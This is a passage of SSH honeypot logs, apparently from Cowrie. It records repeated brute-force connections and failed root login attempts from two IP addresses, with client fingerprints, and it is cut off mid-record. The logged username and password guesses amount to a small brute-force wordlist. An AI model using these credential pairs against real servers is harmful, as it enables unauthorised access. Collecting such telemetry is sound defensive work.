{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:20.280694Z","src_ip":"60.165.124.241","session":"1c3d2117c96a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55158,"dst_ip":"10.17.0.5","dst_port":22,"session":"4acab4d07151","protocol":"ssh","message":"New connection: 60.165.124.241:55158 (10.17.0.5:22) [session: 4acab4d07151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:20.514183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:20.518929Z","src_ip":"60.165.124.241","session":"4acab4d07151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:20.756182Z","src_ip":"60.165.124.241","session":"4acab4d07151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2024","message":"login attempt [root/admin@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:21.492300Z","src_ip":"60.165.124.241","session":"4acab4d07151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:22.738462Z","src_ip":"60.165.124.241","session":"4acab4d07151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57880,"dst_ip":"10.17.0.5","dst_port":22,"session":"81cfabc1abad","protocol":"ssh","message":"New connection: 60.165.124.241:57880 (10.17.0.5:22) [session: 81cfabc1abad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:22.982296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:22.987268Z","src_ip":"60.165.124.241","session":"81cfabc1abad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:23.239209Z","src_ip":"60.165.124.241","session":"81cfabc1abad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wf5Ic*ZgYK2%K47XfNU&GJp4KHfLAn6m","message":"login attempt [root/Wf5Ic*ZgYK2%K47XfNU&GJp4KHfLAn6m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:23.973437Z","src_ip":"60.165.124.241","session":"81cfabc1abad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:25.215420Z","src_ip":"60.165.124.241","session":"81cfabc1abad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60788,"dst_ip":"10.17.0.5","dst_port":22,"session":"7280f10dbd48","protocol":"ssh","message":"New connection: 60.165.124.241:60788 (10.17.0.5:22) [session: 7280f10dbd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:25.449896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:25.455040Z","src_ip":"60.165.124.241","session":"7280f10dbd48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:25.694257Z","src_ip":"60.165.124.241","session":"7280f10dbd48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Intel@123","message":"login attempt [root/Intel@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:26.428944Z","src_ip":"60.165.124.241","session":"7280f10dbd48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:27.684249Z","src_ip":"60.165.124.241","session":"7280f10dbd48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35430,"dst_ip":"10.17.0.5","dst_port":22,"session":"67b0ee01afb8","protocol":"ssh","message":"New connection: 60.165.124.241:35430 (10.17.0.5:22) [session: 67b0ee01afb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:27.918802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:27.923253Z","src_ip":"60.165.124.241","session":"67b0ee01afb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:28.168645Z","src_ip":"60.165.124.241","session":"67b0ee01afb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lx@123456","message":"login attempt [root/Lx@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:28.918660Z","src_ip":"60.165.124.241","session":"67b0ee01afb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:30.160898Z","src_ip":"60.165.124.241","session":"67b0ee01afb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37974,"dst_ip":"10.17.0.5","dst_port":22,"session":"1894571050f6","protocol":"ssh","message":"New connection: 60.165.124.241:37974 (10.17.0.5:22) [session: 1894571050f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:30.389610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:30.394584Z","src_ip":"60.165.124.241","session":"1894571050f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:30.632370Z","src_ip":"60.165.124.241","session":"1894571050f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc@","message":"login attempt [root/1qaz2wsx3edc@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:31.366140Z","src_ip":"60.165.124.241","session":"1894571050f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:32.604476Z","src_ip":"60.165.124.241","session":"1894571050f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33101,"dst_ip":"10.17.0.5","dst_port":22,"session":"8981dab8edcb","protocol":"ssh","message":"New connection: 168.167.228.74:33101 (10.17.0.5:22) [session: 8981dab8edcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:32.788818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:32.796542Z","src_ip":"168.167.228.74","session":"8981dab8edcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40858,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b35cf443011","protocol":"ssh","message":"New connection: 60.165.124.241:40858 (10.17.0.5:22) [session: 8b35cf443011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:32.839698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:32.844259Z","src_ip":"60.165.124.241","session":"8b35cf443011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:33.048795Z","src_ip":"168.167.228.74","session":"8981dab8edcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:33.088956Z","src_ip":"60.165.124.241","session":"8b35cf443011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hetzner123","message":"login attempt [root/hetzner123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:33.816845Z","src_ip":"60.165.124.241","session":"8b35cf443011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r00t","password":"12345678","message":"login attempt [r00t/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:34.095176Z","src_ip":"168.167.228.74","session":"8981dab8edcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:35.057422Z","src_ip":"60.165.124.241","session":"8b35cf443011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50114,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd486904848","protocol":"ssh","message":"New connection: 60.165.124.241:50114 (10.17.0.5:22) [session: cfd486904848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:35.309179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:35.313254Z","src_ip":"60.165.124.241","session":"cfd486904848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:35.349866Z","src_ip":"168.167.228.74","session":"8981dab8edcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:35.563714Z","src_ip":"60.165.124.241","session":"cfd486904848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"`1qazxsw2","message":"login attempt [root/`1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:36.339184Z","src_ip":"60.165.124.241","session":"cfd486904848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:37.595169Z","src_ip":"60.165.124.241","session":"cfd486904848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56096,"dst_ip":"10.17.0.5","dst_port":22,"session":"75150e761d82","protocol":"ssh","message":"New connection: 60.165.124.241:56096 (10.17.0.5:22) [session: 75150e761d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:37.826780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:37.831563Z","src_ip":"60.165.124.241","session":"75150e761d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh